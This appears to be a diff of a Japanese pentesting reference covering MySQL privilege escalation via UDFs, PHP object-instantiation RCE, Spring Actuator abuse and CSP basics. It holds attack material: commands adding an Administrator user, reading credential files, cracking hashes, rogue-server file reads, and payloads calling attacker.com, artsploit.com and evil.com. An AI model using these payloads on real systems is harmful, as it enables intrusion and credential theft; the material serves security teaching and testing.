もし **mysql サーバが root として実行されている**（または別のより権限の高いユーザで実行されている）場合、コマンドを実行させることができます。そのためには **ユーザー定義関数** を使用する必要があります。ユーザー定義関数を作成するには、mysql が動作している OS 用の **ライブラリ** が必要です。
If the **mysql server is running as root**（またはより権限の高い別のユーザで動作している場合）、コマンドを実行させることができます。そのためには**user defined functions**を使用する必要があります。そして**user defined functions**を作成するには、mysqlを実行しているOS用の**library**が必要です。
使用する悪意のあるライブラリは sqlmap や metasploit 内にあり、**`locate "*lib_mysqludf_sys*"`** を実行すると見つかります。**`.so`** ファイルは **linux** のライブラリで、**`.dll`** は **Windows** のライブラリなので、必要な方を選んでください。
悪意のあるlibraryはsqlmapやmetasploit内で、**`locate "*lib_mysqludf_sys*"`**を実行すると見つかります。**`.so`**ファイルは**linux**のlibraryで、**`.dll`**は**Windows**用のものです。必要な方を選んでください。
もし **それらのライブラリを持っていない**場合は、**探す**か、あるいはこの [**linux C code**](https://www.exploit-db.com/exploits/1518) をダウンロードして **linux の脆弱なマシン内でコンパイルする**ことができます：
もしそれらのlibrariesを**don't have**場合は、**look for them**するか、この[**linux C code**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**compile it inside the linux vulnerable machine**してください：
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
ライブラリを入手したら、特権ユーザー（root?）として Mysql に login し、以下の手順に従ってください:
ライブラリを入手したら、特権ユーザー（root?）として Mysql にログインし、次の手順に従ってください:
#### Linux
```sql
@ -252,38 +253,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Windows のヒント: SQLからNTFS ADSを使ってディレクトリを作成する
#### Windows のヒント: SQLからNTFS ADSでディレクトリを作成する
NTFSでは、ファイル書き込みプリミティブしか存在しない場合でも、alternate data stream（代替データストリーム）を利用してディレクトリ作成を強制できます。もし classic UDF chain が `plugin` ディレクトリを期待しているがそれが存在せず、`@@plugin_dir` が不明またはロックされている場合は、まず `::$INDEX_ALLOCATION` でそれを作成できます：
NTFS上では、ファイル書き込みプリミティブしかない場合でも、alternate data stream を利用してディレクトリ作成を強制できます。古典的な UDF chain が `plugin` ディレクトリを期待していて、それが存在せず `@@plugin_dir` が不明または制限されている場合、まず `::$INDEX_ALLOCATION` で作成できます：
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
これは限定的な `SELECT ... INTO OUTFILE` を Windows スタック上で、UDF drops に必要なフォルダ構造をブートストラップすることでより完全なプリミティブに変えます。
これは限定的な `SELECT ... INTO OUTFILE` を、Windows スタック上で UDF drops に必要なフォルダ構造をブートストラップすることで、より完全なプリミティブに変えます。
### MySQL の資格情報をファイルから抽出
### ファイルからMySQLの資格情報を抽出する
ファイル _/etc/mysql/debian.cnf_ の中にはユーザー **debian-sys-maint** の **平文パスワード** が見つかります。
Inside _/etc/mysql/debian.cnf_ you can find the **平文パスワード** of the user **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
あなたは **これらの資格情報を使用して MySQL データベースにログイン** できます。
これらの資格情報を使用して **mysql database にログインできます**。
ファイル内: _/var/lib/mysql/mysql/user.MYD_ には、**MySQL ユーザーのすべてのハッシュ**（データベース内の mysql.user から抽出できるもの）が含まれています。
ファイル内: _/var/lib/mysql/mysql/user.MYD_ に **MySQL ユーザーのすべてのハッシュ**（データベース内の mysql.user から抽出できるもの)_._
それらは次のように抽出できます:
次のように抽出できます:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### ログの有効化
### ロギングの有効化
次の行のコメントを外すことで、`/etc/mysql/my.cnf` 内で mysql クエリのログを有効にできます:
次の行のコメントアウトを外すことで、`/etc/mysql/my.cnf` 内で mysql クエリのロギングを有効にできます：
![](<../images/image (899).png>)
### 有用なファイル
### 便利なファイル
Configuration Files
設定ファイル
- windows \*
- config.ini
@ -298,14 +299,14 @@ Configuration Files
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Command History
- コマンド履歴
- \~/.mysql.history
- Log Files
- ログファイル
- connections.log
- update.log
- common.log
## デフォルトの MySQL Database/Tables
## デフォルトの MySQL データベース/テーブル
{{#tabs}}
{{#tab name="information_schema"}}
@ -656,37 +657,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
​
## 2023-2025 ハイライト（新）
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32 から、**JDBC URL** に影響を与えられる攻撃者（例えば接続文字列を要求するサードパーティ製ソフトウェア内）は、`propertiesTransform` パラメータを介して *client* 側で任意のクラスをロードするよう要求できます。class-path 上に存在する gadget がロード可能であれば、これは **remote code execution in the context of the JDBC client** を引き起こします（pre-auth、認証情報は不要のため）。最小限のPoCは次のようになります:
Connector/J <= 8.0.32 では、攻撃者が **JDBC URL** に影響を与えられる場合（例えば接続文字列を要求するサードパーティ製ソフトウェア内で）、`propertiesTransform` パラメータを介して *クライアント* 側で任意のクラスを読み込むよう要求できます。クラスパス上にロード可能な gadget が存在する場合、これは **remote code execution in the context of the JDBC client** を引き起こします（pre-auth、認証情報は不要）。最小の PoC は次のようになります：
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class` を実行することは、脆弱なアプリケーションのクラスパス上にそれを配置するだけ、あるいは悪意のある MySQL サーバーにシリアライズされたオブジェクトを送らせるだけで済む場合がある。この問題は Connector/J 8.0.33 で修正されている — ドライバーをアップグレードするか、許可リスト上で明示的に `propertiesTransform` を設定せよ。
(詳細は Snyk の write-up を参照)
`Evil.class` を実行するのは、脆弱なアプリケーションのクラスパスに配置するだけ、あるいは rogue MySQL サーバが悪意あるシリアライズ済みオブジェクトを送信するのを許すだけで済むことがある。 この問題は Connector/J 8.0.33 で修正済み — ドライバをアップグレードするか、`propertiesTransform` を明示的に allow-list に設定する。
(詳細は Snyk write-up を参照)
### JDBC クライアントに対する偽の MySQL サーバー攻撃
外向きに接続する JDBC クライアントを攻撃するために、いくつかのオープンソースツールが MySQL プロトコルの*部分的な*実装を行っている:
### JDBCクライアントに対する Rogue / Fake MySQL server 攻撃
いくつかのオープンソースツールは、外向きに接続する JDBC クライアントを攻撃するために、MySQL プロトコルの *部分的な* 実装を提供している:
* **mysql-fake-server** (Java、ファイル読み取りおよびデシリアライズのエクスプロイトをサポート)
* **rogue_mysql_server** (Python、類似の機能)
* **mysql-fake-server** (Java、ファイル読み取りと deserialization exploits をサポート)
* **rogue_mysql_server** (Python、同様の機能)
典型的な攻撃パス:
典型的な攻撃経路:
1. 被害アプリケーションが `mysql-connector-j` を `allowLoadLocalInfile=true` または `autoDeserialize=true` でロードしている。
2. 攻撃者が DNS / host エントリを操作し、DB のホスト名が攻撃者の管理下にあるマシンに解決されるようにする。
3. 悪意あるサーバーが巧妙に作成されたパケットで応答し、`LOCAL INFILE` による任意ファイル読み取りか Java のデシリアライズを誘発して → RCE。
1. 被害アプリケーションが `mysql-connector-j` を `allowLoadLocalInfile=true` または `autoDeserialize=true` で読み込んでいる。
2. 攻撃者が DNS / host エントリを制御し、DB のホスト名が攻撃者の管理下のマシンに解決されるようにする。
3. 悪意あるサーバが細工したパケットで応答し、`LOCAL INFILE` による任意のファイル読み取りか Java deserialization を誘発 → RCE。
偽サーバーを起動するワンライナーの例 (Java):
偽サーバを起動するためのワンライナーの例 (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
次に、被害者アプリケーションを `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` に向け、ファイル名を base64 にエンコードして *username* フィールドに入れることで `/etc/passwd` を読みます（`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`）。
次に被害者アプリケーションを `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` に向け、*username* フィールドにファイル名を base64 でエンコードして `/etc/passwd` を読みます（`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`）。
### `caching_sha2_password` ハッシュのクラッキング
MySQL ≥ 8.0 はパスワードハッシュを **`$mysql-sha2$`** (SHA-256) として格納します。Hashcat（mode **21100**）と John-the-Ripper（`--format=mysql-sha2`）の両方が 2023 年以降オフラインでのクラッキングをサポートしています。`authentication_string` カラムをダンプしてそのまま投入します：
### `caching_sha2_password` ハッシュのクラック
MySQL ≥ 8.0 はパスワードハッシュを **`$mysql-sha2$`**（SHA-256）として保存します。Hashcat（mode **21100**）と John-the-Ripper（`--format=mysql-sha2`）はどちらも 2023 年以降オフラインでのクラックをサポートしています。`authentication_string` カラムをダンプしてそのまま渡します：
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -696,11 +696,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### ハードニングチェックリスト (2025)
• **`LOCAL_INFILE=0`** と **`--secure-file-priv=/var/empty`** を設定し、ほとんどのファイル読み書きプリミティブを無効化する。
• ほとんどのファイル読み書きプリミティブを無効化するため、**`LOCAL_INFILE=0`** および **`--secure-file-priv=/var/empty`** を設定する。
• アプリケーションアカウントから **`FILE`** 権限を削除する。
• Connector/J では `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`（空）を設定する。
• 未使用の認証プラグインを無効化し、**TLS を必須にする** (`require_secure_transport = ON`)。
• `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL`、および突然の `SET GLOBAL` ステートメントを監視する。
• Connector/Jでは `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`（空）を設定する。
• 未使用の認証プラグインを無効化し、**require TLS**（`require_secure_transport = ON`）を有効にする。
• `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL`、および突然の `SET GLOBAL` ステートメントを監視する。
---

62
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,18 +1,18 @@
# PHP - オブジェクト作成を悪用した RCE: new $_GET["a"]($_GET["b"])
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
これは基本的に [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) の要約です。
これは基本的に [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) の要約です
## 導入
## はじめに
例えば `new $_GET["a"]($_GET["a"])` のような任意のオブジェクト生成は、[**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) に詳述されているように Remote Code Execution (RCE) を引き起こす可能性があります。本書では RCE を達成するためのさまざまな戦略を強調します。
`new $_GET["a"]($_GET["a"])` のような任意のオブジェクトの生成は Remote Code Execution (RCE) を引き起こす可能性があり、詳細は [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) に記載されています。 このドキュメントでは RCE を達成するためのさまざまな戦略を紹介します。
## カスタムクラスまたはオートローディング経由の RCE
## RCE via Custom Classes or Autoloading
構文 `new $a($b)` はオブジェクトをインスタンス化するために使われ、**`$a`** はクラス名、**`$b`** はコンストラクタに渡される最初の引数を表します。これらの変数は GET/POST のようなユーザ入力から取得される可能性があり、その場合文字列や配列であることがありますし、JSON から来るときは別の型として現れることがあります。
`new $a($b)` という構文はオブジェクトをインスタンス化するために使用され、**`$a`** はクラス名を、**`$b`** はコンストラクタに渡される最初の引数を表します。これらの変数は GET/POST のようなユーザー入力から取得され、文字列や配列である場合があり、JSON から来る場合は他の型として現れることがあります。
以下のコードスニペットを考えてください：
以下のコードスニペットを考えてください:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
この場合、`$a` を `App` または `App2` に、`$b` をシステムコマンド（例: `uname -a`）に設定すると、そのコマンドが実行されます。
この例では、`$a` を `App` または `App2` に、`$b` をシステムコマンド（例: `uname -a`）に設定すると、そのコマンドが実行されます。
**Autoloading functions** は、そのようなクラスに直接アクセスできない場合に悪用される可能性があります。これらの関数は必要に応じてファイルからクラスを自動的に読み込み、`spl_autoload_register` または `__autoload` を使って定義されます：
**Autoloading functions** は、そのようなクラスに直接アクセスできない場合に悪用できます。これらの関数は必要に応じてファイルからクラスを自動的に読み込み、`spl_autoload_register` または `__autoload` を使って定義されます：
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,74 +45,74 @@ include $class_name . '.php';
spl_autoload_register();
```
オートローディングの挙動はPHPのバージョンによって異なり、様々なRCEの可能性をもたらします。
The behavior of autoloading varies with PHP versions, offering different RCE possibilities.
## 組み込みPHPクラス経由のRCE
## RCE via Built-In Classes
カスタムクラスやオートローダーが存在しない場合、**組み込みPHPクラス**だけでRCEが可能なことがあります。これらのクラス数はPHPのバージョンや拡張により100〜200程度と変動します。`get_declared_classes()`で一覧表示できます。
カスタムクラスやオートローダーがない場合、**built-in PHP classes** だけで RCE が可能な場合があります。これらのクラス数は PHP のバージョンや拡張により 100〜200 程度で変動します。`get_declared_classes()` で一覧化できます。
注目すべきコンストラクタは、リフレクションAPIを使って特定できます。次の例とリンク [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) を参照してください。
注目すべきコンストラクタは reflection API を使って特定できます。以下の例とリンク [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) を参照してください。
**RCE via specific methods includes:**
### **SSRF + Phar Deserialization**
`SplFileObject`クラスはコンストラクタを通じてSSRFを引き起こすことができ、任意のURLへ接続可能です:
`SplFileObject` クラスはそのコンストラクタを介して SSRF を引き起こすことができ、任意の URL への接続を許可します：
```php
new SplFileObject('http://attacker.com/');
```
SSRF は Phar protocol を利用して、PHP 8.0 未満のバージョンで deserialization attacks を引き起こす可能性があります。
SSRFは、Pharプロトコルを使用してPHP 8.0未満のバージョンでdeserialization attacksを引き起こす可能性があります。
### **Exploiting PDOs**
PDO クラスのコンストラクタは DSN strings を介してデータベースへ接続することを可能にし、ファイルの作成やその他の操作を引き起こす可能性があります:
PDOクラスのコンストラクタは、DSN文字列を介してデータベースへの接続を許可し、潜在的にファイル作成やその他の操作を可能にします:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the `SoapClient` and `SimpleXMLElement` constructors, contingent on the version of libxml2.
PHP の 5.3.22 および 5.4.12 までのバージョンは、libxml2 のバージョンに依存して、`SoapClient` や `SimpleXMLElement` コンストラクタを通した XXE 攻撃の影響を受けやすい状態でした。
## RCE via Imagick Extension
あるプロジェクトの依存関係を分析したところ、Imagickは新しいオブジェクトをインスタンス化することでコマンド実行に利用できることが判明しました。これは脆弱性を悪用する機会を提供します。
プロジェクトの依存関係を解析したところ、**Imagick** が新しいオブジェクトのインスタンス化によって **command execution** に利用できることが判明しました。これは脆弱性を突く機会を提供します。
### VID parser
VIDパーサーがファイルシステム内の任意のパスにコンテンツを書き込める機能を持っていることが確認されました。これにより、webからアクセス可能なディレクトリへPHPシェルを配置し、Remote Code Execution (RCE)を達成する可能性があります。
VID parser がファイルシステム上の任意のパスへ内容を書き込める機能を持つことが確認されました。これにより、web アクセス可能なディレクトリに PHP シェルを配置して Remote Code Execution (RCE) を達成することが可能になります。
#### VID Parser + File Upload
PHPがアップロードされたファイルを一時的に `/tmp/phpXXXXXX` に保存することに注意してください。ImagickのVIDパーサーはmslプロトコルを使用し、ファイルパスのワイルドカードを扱えるため、一時ファイルを任意の場所へ転送することが可能です。この方法は、ファイルシステム内で任意のファイル書き込みを達成するための別の手段を提供します。
PHP はアップロードされたファイルを一時的に `/tmp/phpXXXXXX` に保存することに注意してください。Imagick の VID parser は **msl** プロトコルを使用し、ファイルパスのワイルドカードを扱えるため、一時ファイルを任意の場所へ移動させることができます。この手法はファイルシステム内での任意のファイル書き込みを達成するための別のアプローチを提供します。
### PHP Crash + Brute Force
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) に記載された手法では、削除前にサーバをクラッシュさせるファイルをアップロードすることが説明されています。テンポラリファイル名をブルートフォースすることで、Imagick が任意の PHP コードを実行できるようになる可能性があります。ただし、この手法は古いバージョンの ImageMagick でのみ有効であることが判明しました。
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
ユーザ入力がクラス名を制御する場合（例: `new $_GET['model']()`）、PHP 7.0.0では`Throwable`のリファクタリング中に一時的なバグが導入され、エンジンがクラス名を解決する際に誤ってprintf形式文字列として扱ってしまいました。これによりPHP内で古典的なprintfスタイルのプリミティブが利用可能になり、`%p`による leaks、幅指定子による書き込みカウントの制御、および`%n`を用いたプロセス内ポインタ（例: ELFビルドのGOTエントリ）への任意書き込みが可能になります。
ユーザ入力がクラス名を制御する場合（例: `new $_GET['model']()`）、PHP 7.0.0 の `Throwable` リファクタ中に一時的なバグが導入され、エンジンがクラス名を解決する際に誤って printf のフォーマット文字列として扱ってしまうことがありました。これにより、PHP 内で古典的な printf スタイルのプリミティブが利用可能になります：leaks with `%p`、幅指定子による書込カウント制御、そして in-process ポインタ（例えば ELF ビルドの GOT エントリ）に対する `%n` を使った arbitrary writes が可能になります。
Minimal repro vulnerable pattern:
最小再現の脆弱なパターン:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Exploitation outline (from the reference):
- Leak addresses via `%p` in the class name to find a writable target:
エクスプロイトの概要（参照より）:
- クラス名に `%p` を含めてアドレスを leak し、書き込み可能なターゲットを見つける:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- 位置指定パラメータと幅指定子を使って正確なバイト数を作り出し、次に `%n` でスタック上の到達可能なアドレスにその値を書き込む。GOTスロット（例: `free`）を標的にして部分的に `system` へ上書きすることを狙う。
- シェルパイプを含むクラス名を渡して改竄した関数をトリガーし、`system("id")` を実行させる。
- 位置指定パラメータと幅指定子を使って正確なバイト数を設定し、`%n` でその値を書き込み、スタック上の到達可能なアドレスに書き込む。GOT スロット（例: `free`）を狙い、一部上書きして `system` にする。
- シェルのパイプを含むクラス名を渡してハイジャックした関数をトリガーし、`system("id")` を呼び出す。
Notes:
- PHP 7.0.0 でのみ動作（Bug [#71105](https://bugs.php.net/bug.php?id=71105)）；以降のリリースで修正済み。Severity: critical — 任意のクラスインスタンス化が可能な場合は致命的。
- 典型的なペイロードは多数の `%p` を連ねてスタックを探索し、続いて `%.<width>d%<pos>$n` で部分的な上書きを行う。
注意:
- PHP 7.0.0 のみで動作（バグ [#71105](https://bugs.php.net/bug.php?id=71105)）；後続のリリースで修正済み。重大度: critical（任意のクラスインスタンス化が存在する場合）。
- 典型的なペイロードはスタックをトレースするために多数の `%p` を連結し、その後 `%.<width>d%<pos>$n` を使って部分上書きを行う。
## References
## 参考
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

44
src/network-services-pentesting/pentesting-web/spring-actuators.md
View File

@ -10,26 +10,26 @@
## Spring Boot Actuators の悪用
**元の投稿を確認：** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**元の投稿を確認:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **主なポイント:**
### **要点:**
- Spring Boot Actuators は `/health`、`/trace`、`/beans`、`/env` などのエンドポイントを登録する。バージョン 1 から 1.4 ではこれらのエンドポイントは認証なしでアクセス可能。1.5 以降ではデフォルトで非機密なのは `/health` と `/info` のみだが、開発者がこのセキュリティを無効にすることが多い。
- 特定の Actuator エンドポイントは機密データを露出したり有害な操作を許容したりする可能性がある:
- Spring Boot Actuators は `/health`、`/trace`、`/beans`、`/env` などのエンドポイントを登録します。バージョン1から1.4まではこれらのエンドポイントは認証なしでアクセス可能です。1.5以降ではデフォルトで非敏感なのは `/health` と `/info` のみですが、開発者がこのセキュリティを無効にすることがよくあります。
- 一部の Actuator エンドポイントは機密データを露出したり、有害な操作を許可したりする可能性があります:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, および `/heapdump`。
- Spring Boot 1.x では actuators はルート URL 配下に登録されるが、2.x では `/actuator/` ベースパス配下に配置される。
- Spring Boot 1.x では actuators はルート URL 配下に登録されますが、2.x では `/actuator/` ベースパスの下に配置されます。
### **悪用テクニック:**
### **Exploitation Techniques:**
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` actuator エンドポイントは Jolokia Library を公開しており、MBeans への HTTP アクセスを可能にする。
- `reloadByURL` アクションは外部 URL からのロギング設定のリロードに悪用でき、巧妙に作られた XML 設定によって blind XXE や Remote Code Execution を引き起こす可能性がある。
- 例のエクスプロイト URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
- `/jolokia` actuator エンドポイントは Jolokia Library を公開し、MBeans への HTTP アクセスを可能にします。
- `reloadByURL` アクションは外部 URL からのロギング設定の再読み込みに悪用でき、細工した XML 設定を介して blind XXE や Remote Code Execution に繋がる可能性があります。
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Spring Cloud Libraries が存在する場合、`/env` エンドポイントは環境プロパティの変更を許可する。
- プロパティを操作することで、Eureka の serviceURL における XStream のデシリアライズ脆弱性などを悪用できる。
- 例の POST リクエスト:
- Spring Cloud Libraries が存在する場合、`/env` エンドポイントは環境プロパティの変更を許可します。
- プロパティを操作することで、Eureka の serviceURL における XStream の deserialization 脆弱性などを悪用できます。
- Example exploit POST request:
```
POST /env HTTP/1.1
@ -40,22 +40,22 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **その他の有用な設定:**
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, `spring.datasource.tomcat.max-active` のようなプロパティは、SQL インジェクションやデータベース接続文字列の変更など、さまざまな悪用に利用され得る。
3. **Other Useful Settings**:
- `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url`、および `spring.datasource.tomcat.max-active` のようなプロパティは、SQL injection やデータベース接続文字列の変更など、さまざまな悪用に利用できます。
### **追加情報:**
- デフォルトの actuator の包括的なリストは [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) にある。
- Spring Boot 2.x の `/env` エンドポイントはプロパティ変更に JSON フォーマットを使用するが、概念は同じである。
- default actuators の包括的なリストは [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) にあります。
- Spring Boot 2.x の `/env` エンドポイントはプロパティ変更に JSON 形式を使用しますが、基本的な概念は同じです。
### **関連トピック:**
1. **Env + H2 RCE**:
- `/env` エンドポイントと H2 データベースを組み合わせた悪用の詳細は [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) を参照。
- `/env` エンドポイントと H2 データベースの組み合わせを悪用する詳細は [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) にあります。
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Spring フレームワークの HTTP pathname における matrix parameters (`;`) の扱いの不備は Server-Side Request Forgery (SSRF) に悪用され得る。
- 例のエクスプロイトリクエスト:
- HTTP pathname 内の matrix parameters (`;`) に関する Spring フレームワークの処理を悪用して、Server-Side Request Forgery (SSRF) を引き起こせます。
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -91,9 +91,9 @@ Typical high-value findings:
- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
Tips:
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.
ヒント:
- Spring に特化したワードリストを使って actuator エンドポイントを素早く発見してください（例: SecLists spring-boot.txt）。また `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env`、`/actuator/configprops` が公開されていないか常に確認してください。
- Heapdump から得た Credentials は隣接サービスや場合によってはシステムユーザ（SSH）でも有効なことがあるので、広く試してみてください。
## Abusing Actuator loggers/logging to capture credentials

342
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -1,31 +1,31 @@
# Content Security Policy (CSP) Bypass
# コンテンツセキュリティポリシー (CSP) バイパス
{{#include ../../banners/hacktricks-training.md}}
## CSPとは
Content Security Policy (CSP) はブラウザ技術として認識されており、主に **cross-site scripting (XSS) のような攻撃からの防御** を目的としています。CSPはブラウザが安全にリソースを読み込めるパスやソースを定義・指定することで機能します。これらのリソースには、画像、フレーム、JavaScript などが含まれます。例えば、ポリシーは同一ドメイン(self)からのリソースの読み込みと実行を許可したり、インラインリソースや `eval`、`setTimeout`、`setInterval` のような関数を通じた文字列コードの実行を許可する場合があります。
Content Security Policy (CSP) は、主に **クロスサイトスクリプティング (XSS) のような攻撃から保護する** ことを目的としたブラウザ技術として知られています。ブラウザが安全に読み込めるリソースのパスやソースを定義・指定することで機能します。これらのリソースには画像、フレーム、JavaScriptなどが含まれます。例えば、ポリシーは同一ドメイン（self）からのリソースの読み込みと実行を許可したり、インラインリソースや `eval`、`setTimeout`、`setInterval` のような関数を通じた文字列コードの実行を許可する場合があります。
CSP の実装は **response headers** を通じて、または HTML ページに **meta 要素を組み込む**ことで行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。
CSP の実装は **レスポンスヘッダー** を通して、または HTML ページに **meta 要素** を組み込むことで行われます。ブラウザはこのポリシーに従い規定を強制し、検出された違反を即座にブロックします。
- Implemented via response header:
- レスポンスヘッダーで実装される:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- メタタグで実装されています:
- meta tag によって実装される:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### ヘッダー
CSP は以下のヘッダーで強制またはモニタリングできます:
CSPは次のヘッダーで強制または監視できます:
- `Content-Security-Policy`: CSP を強制する。ブラウザは違反をブロックする。
- `Content-Security-Policy-Report-Only`: モニタリング用に使用する。違反をブロックせずに報告する。本番前の環境でのテストに最適。
- `Content-Security-Policy`: CSPを強制します。ブラウザは違反をブロックします。
- `Content-Security-Policy-Report-Only`: 監視用に使われます。違反をブロックせずにレポートします。プレプロダクション環境でのテストに適しています。
### リソースの定義
CSP はアクティブおよびパッシブなコンテンツを読み込むためのオリジンを制限し、インライン JavaScript の実行や `eval()` の使用などを制御する。例としてのポリシーは以下の通り:
CSPは、アクティブおよびパッシブコンテンツの読み込み元（オリジン）を制限し、インラインJavaScriptの実行や`eval()`の使用などを制御します。ポリシーの例は次のとおりです:
```bash
default-src 'none';
img-src 'self';
@ -40,37 +40,37 @@ object-src 'none';
### ディレクティブ
- **script-src**: JavaScriptの特定のソースを許可します。URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートでトリガーされるスクリプトを含みます。
- **default-src**: 特定のフェッチディレクティブがない場合のリソース取得に対するデフォルトポリシーを設定します。
- **child-src**: web workerや埋め込みフレームのコンテンツに対して許可されるリソースを指定します。
- **connect-src**: fetch、WebSocket、XMLHttpRequestのようなインターフェイスで読み込めるURLを制限します。
- **default-src**: 特定の取得ディレクティブが無い場合のリソース取得のデフォルトポリシーを設定します。
- **child-src**: web workersおよび埋め込まれたフレームのコンテンツに対する許可されたリソースを指定します。
- **connect-src**: fetch、WebSocket、XMLHttpRequestのようなインターフェースを使って読み込めるURLを制限します。
- **frame-src**: フレームのためのURLを制限します。
